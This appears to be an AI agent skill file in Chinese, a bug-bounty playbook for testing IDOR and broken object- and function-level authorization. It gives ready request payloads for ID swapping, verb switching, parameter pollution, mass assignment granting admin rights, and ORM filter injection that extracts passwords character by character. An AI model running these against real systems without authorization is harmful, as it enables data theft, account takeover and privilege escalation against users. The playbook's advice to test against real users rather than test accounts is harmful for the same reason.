idor-broken-object-authorization

idor-broken-object-authorization

熱門

IDOR 與物件層級授權失效(Broken Object Level Authorization)測試教戰手冊。當請求暴露了物件識別碼 (ID)、租戶邊界、可寫入欄位,或缺少物件層級的授權檢查時使用。

1521星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
idor-broken-object-authorization
描述

IDOR 與物件層級授權失效(Broken Object Level Authorization)測試教戰手冊。當請求暴露了物件識別碼 (ID)、租戶邊界、可寫入欄位,或缺少物件層級的授權檢查時使用。

SKILL: IDOR / 物件層級授權失效 — 專家級攻擊手冊 (Expert Attack Playbook)

AI 載入指示 (AI LOAD INSTRUCTION):IDOR 是漏洞賞金(Bug Bounty)計畫中最常被回報且高回報的漏洞類型。本 Skill 涵蓋非顯而易見的 IDOR 暴露點、全套攻擊向量(不限於 URL 參數)、A-B 測試方法論、BOLA 與 BFLA 的概念區別、如何將 IDOR 串接以提升漏洞影響力,以及測試者經常遺漏的魔鬼細節。


1. IDOR vs BOLA vs BFLA

專有名詞 涵義 影響
IDOR Insecure Direct Object Reference (不安全的直接物件引用) 讀取 / 修改其他使用者的資料
BOLA Broken Object Level Authorization (OWASP API Top 10 A1, 物件層級授權失效) 與 IDOR 相同,為 API 界常用術語
BFLA Broken Function Level Authorization (功能層級授權失效) 低權限使用者存取高權限功能(例如:管理員端點)

核心區別

  • BOLA = 存取您不該擁有物件(屬於其他使用者的資料)
  • BFLA = 存取您未獲授權功能(管理員 CRUD 操作、批次操作、使用者管理)

2. 物件 ID 出現位置(全方位盤點)

不要只停留在 URL 路徑參數 — ID 可能出現在:

URL 路徑:        GET /api/v1/users/1234/profile
URL 查詢參數:    GET /orders?order_id=982
請求主體 (Body):  {"userId": 1234, "action": "view"}
JSON 欄位:       {"resource": {"id": 5678, "type": "invoice"}}
Headers 標頭:    X-User-ID: 1234
                 X-Account-ID: 9999
Cookies:         user_id=1234; account=org_5678
GraphQL 引數:    query { user(id: "1234") { ... } }
表單欄位:        <input name="documentId" value="5678">
WebSocket 訊息:  {"event":"subscribe","channel_id":9999}

3. A-B 測試方法論 (A-B TESTING METHODOLOGY)

最系統化的 IDOR 測試流程:

步驟 1: 建立兩個測試帳號:UserA 與 UserB
步驟 2: 以 UserA 身分執行所有操作,並攔截擷取所有請求
        (修改個人資料、查看訂單、變更密碼、檔案存取等)
步驟 3: 紀錄 UserA 所建立或存取的所有物件 ID
步驟 4: 登入驗證為 UserB
步驟 5: 帶上 UserB 的 Session Token 重放 UserA 的請求
步驟 6: 若 UserB 能夠讀取/修改 UserA 的資料 → 確認存在 BOLA 漏洞

受害者真實性:回報真實漏洞時,請針對已存在的真實使用者進行測試,而非僅測試帳號之間。
佐證資料 (Report evidence):需明確證明該資源確屬 UserA 所有,且成功由 UserB 存取。

4. ID 型態及其安全影響 (ID TYPE AND ITS IMPLICATIONS)

ID 模式 範例 說明
連續型整數 (Sequential int) id=1001id=1002 極易預測,爆破命中率極高
UUID v4 550e8400-... 需從其他端點收集 UUID
UUID v1 時間戳記型 UUID 可根據時間推算預測!可擷取時間戳與 MAC 位址
自身資料中的 GUID 於 Response 中可見 先從自己帳號的資料中收集所有出現過的 UUID
哈希型 ID (Hashed IDs) md5(user_id) 嘗試對連續整數進行 Hash
編碼型 ID (Encoded IDs) base64({"id":1001}) 解碼 → 修改 → 重新編碼
複合型 ID (Compound IDs) /api/users/1/orders/5 兩個 ID 可能皆需獨立驗證授權

5. 水平權限超越 vs 垂直權限提升 (HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION)

水平 (Horizontal):UserA 存取 UserB 的資料(同等權限等級)

GET /api/account/1234/statement     ← 您當前為使用者 5678

垂直 (Vertical):低權限使用者存取僅限管理員的功能

POST /api/admin/users/delete        ← 一般使用者呼叫管理員端點
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}

組合式 (Combined):可直接導致權限提升的低權限 IDOR

GET /api/v1/users/1/details → 讀取管理員使用者的 Auth Token

6. HTTP 動詞切換測試 (HTTP METHOD ESCALATION)

GET /resource/1234 受到正確的存取控制保護時,請測試所有其他 HTTP 動詞:

GET    /api/v1/users/UserA_ID    ← 可能已被阻擋
POST   /api/v1/users/UserA_ID    ← 不同的程式碼路徑,可能未檢查授權
PUT    /api/v1/users/UserA_ID    ← 更新其他使用者的資料
DELETE /api/v1/users/UserA_ID    ← 刪除其他使用者的帳號
PATCH  /api/v1/users/UserA_ID    ← 部分更新(在授權檢查中極常被忽略)

生效原因:授權邏輯往往是依據各個 HTTP Method 分別實作的,開發人員極易遺漏邊界狀況 (edge cases)。


7. 參數污染與型態混淆 (PARAMETER POLLUTION & TYPE CONFUSION)

id=1234 已通過驗證時,可嘗試以下繞過方式:

id[]=1234&id[]=5678          ← 陣列傳參 — 應用程式可能取第一個或最後一個
id=5678&id=1234              ← 重複參數 — 應用程式可能優先使用第一個或最後一個
{"id": "1234"}               ← 字串 vs 整數:可能觸發不同的程式碼執行路徑
{"id": [1234]}               ← JSON 中的陣列型態
{"userId": 1234, "id": 5678} ← 雙 ID 欄位 — 系統究竟用哪一個做授權檢查?

JSON 型態混淆 (Type Confusion)

{"userId": "1234"}   vs   {"userId": 1234}

部分 ORM 在處理查詢時,對字串與整數的處理方式不同。


8. BFLA (功能層級) 攻擊手法

常見待測的 BFLA 端點 (Common BFLA Endpoints to Test)

# 使用者管理(設計上僅限管理員):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role

# 批次操作:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data

# 計費 / 支付管理員端點:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all

# 內部報表:
GET /api/v1/reports/all-users-activity

如何挖掘隱藏的管理員端點

  1. 閱讀 JS 打包檔案 (Bundles) — 管理員路由常暴露在前端程式碼中
  2. 檢視 API 文件 (Swagger/OpenAPI) 尋找 "admin"、"internal"、"privileged" 等標籤
  3. 列舉 /api/v1/admin/**/api/v1/manage/**/api/v1/internal/**
  4. 針對 API 基礎路徑使用 Burp 的 "Discover Content"
  5. 若有提供,比對一般使用者文件與管理員區塊文件

9. 間接 IDOR / 引用鏈 (INDIRECT IDOR / REFERENCE CHAIN)

應用程式檢查了物件 A 的權限,卻未檢查其引用的物件 B 之所有權:

範例

UserA 擁有讀取自身訊息的權限。
GET /api/messages/1234 → 檢查:「該訊息 1234 是否屬於此使用者?」✓

但是:訊息附帶有附件檔案。
GET /api/attachments/5678 → 未檢查:「該附件是否屬於該使用者擁有的訊息?」

測試方法:直接透過其 ID 存取附件或子資源,而不經過上層父端點。

GraphQL 變體:直接內聯查詢關聯物件,無需額外授權檢查:

query {
  myProfile {
    followers {
      privateEmail    ← 透過關聯性存取其他使用者的隱私欄位
    }
  }
}

10. 大量賦值導致權限提升 (MASS ASSIGNMENT → PRIVILEGE ESCALATION)

當 POST/PUT 接收 JSON 請求內文時,底層 Model 的屬性可能即使未列在官方 API 文件中,依然可被設定:

POST /api/v1/register
{
  "username": "attacker",
  "email": "a@evil.com",
  "password": "password",
  "role": "admin",          ← 隱藏欄位
  "isAdmin": true,          ← 隱藏欄位
  "verified": true,         ← 略過 Email 驗證
  "creditBalance": 9999     ← 為自己充值儲值點數
}

如何尋找隱藏欄位

  1. 攔截管理員「建立使用者」與一般「註冊」的請求 — 比對兩者欄位差異
  2. 閱讀 API 文件以獲取所有可能的欄位名稱
  3. 檢視原始碼(若可在 GitHub 或 JS 包中取得)
  4. 使用 Burp 進行 Fuzz 測試:加入常見屬性名稱,觀察回應為 200 還是 400

11. 狀態機濫用 / 商業邏輯 IDOR (STATE MACHINE ABUSE)

當資源具備狀態 (Status/State) 時:

order.status: pending → confirmed → shipped → delivered

測試:您是否能跳過中間狀態?

PUT /api/orders/1234 {"status": "delivered"}  ← 從 "pending" 直接修改
PUT /api/orders/1234 {"status": "refunded"}   ← 從 "pending" 變更(跳過出貨 shipped)

是否能修改其他使用者的訂單狀態?

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← 以 UserB 身分執行

12. 快速 IDOR 檢查清單 (QUICK IDOR CHECKLIST)

□ 建立 2 個測試帳號 (UserA + UserB)
□ 梳理所有包含物件 ID 的 API 呼叫 (可透過 Burp History 匯出過濾)
□ 針對每個端點測試所有 HTTP 動詞 (GET, POST, PUT, DELETE, PATCH)
□ 測試出現在所有位置的 ID:路徑、內文、Headers、查詢參數、Cookie
□ 嘗試連續性 ID(相對於您自己的 ID -1, +1)
□ 嘗試從您自己帳號資料中收集到的 UUID/GUID
□ 測試子資源(附件、留言、交易明細)
□ 直接測試管理員端點 (BFLA)
□ 測試 POST/PUT Body 是否存在額外欄位(大量賦值 Mass Assignment)
□ 比對 JSON 回應欄位數量與官方文件欄位(尋找隱藏欄位)
□ 測試狀態 (State/Status) 欄位的任意修改

13. 系統化 IDOR 測試 — 8 大類別 (SYSTEMATIC IDOR TESTING — 8 CATEGORIES)

# 類別 測試方法
1 直接 ID 引用 (Direct ID reference) 修改 URL 中的數字/UUID ID:/api/users/123/api/users/124
2 可預測的 UUID (Predictable UUID) 若 UUID 為 v1 (基於時間),可推算出相鄰 ID
3 批次/批量操作 (Batch/bulk operations) /api/users/bulk?ids=123,456 — 傳入其他使用者的 ID
4 匯出/下載 (Export/download) 匯出端點洩漏其他使用者資料:/export?user_id=*
5 關聯物件 IDOR (Linked object IDOR) order.address_id 修改為其他使用者的地址 ID
6 資源替換 (Resource replacement) 將自己的 Profile 更新為其他使用者的資源 ID → 造成覆寫
7 寫入型 IDOR (Write IDOR) 使用其他使用者的 ID 執行 PUT/PATCH/DELETE — 修改/刪除其資料
8 巢狀物件 (Nested object) /api/orgs/1/users/2 — 修改組織 ID 以存取其他組織的使用者

測試流程 (Testing Flow)

1. 建立兩個測試帳號 (A 與 B)
2. 以 A 的身分執行所有 CRUD 操作,擷取所有請求中的 ID
3. 重放每個請求,將 A 的 ID 替換為 B 的 ID
4. 檢查:A 是否能讀取 B 的資料?修改?刪除?
5. 搭配不同型態測試:數值 ID、UUID、Slugs、編碼值
6. 全方位位置測試:URL 路徑、Query 參數、JSON Body、Headers

14. ORM 過濾器鏈洩漏 (ORM FILTER CHAIN LEAKS)

Django ORM 過濾器注入 (Django ORM Filter Injection)

# 存在漏洞的寫法: User.objects.filter(**request.data)
# 攻擊者傳送: {"password__startswith": "a"}
# Django 轉譯為: WHERE password LIKE 'a%'

# 逐字萃取 (Character-by-character extraction):
POST /api/users/
{"username": "admin", "password__startswith": "a"}   → 200 (匹配成功)
{"username": "admin", "password__startswith": "b"}   → 404 (無匹配)
# 針對每個字元位置遍歷字元集

# 關聯遍歷 (Relational traversal):
{"author__user__password__startswith": "a"}
# 遍歷路徑: Author → User → password 欄位

# 在 MySQL 上: 透過 Regex 觸發 ReDoS
{"email__regex": "^(a+)+$"}  → 若匹配存在則導致 CPU 暴增

Prisma 過濾器注入 (Prisma Filter Injection)

// 存在漏洞的寫法: prisma.user.findMany({ where: req.body })
// 攻擊者傳送巢狀 include/select:
{
  "include": {
    "posts": {
      "include": {
        "author": {
          "select": {"password": true}
        }
      }
    }
  }
}
// 透過關聯遍歷洩漏密碼 (password) 欄位

Ransack (Ruby on Rails)

# Ransack 允許透過 Query 參數進行搜尋謂詞查詢:
GET /users?q[password_cont]=admin
# 搜尋條件: WHERE password LIKE '%admin%'

# 字元萃取:
GET /users?q[password_start]=a   → 統計結果數量
GET /users?q[password_start]=ab  → 縮小範圍
# 工具:plormber (自動化 Ransack 萃取工具)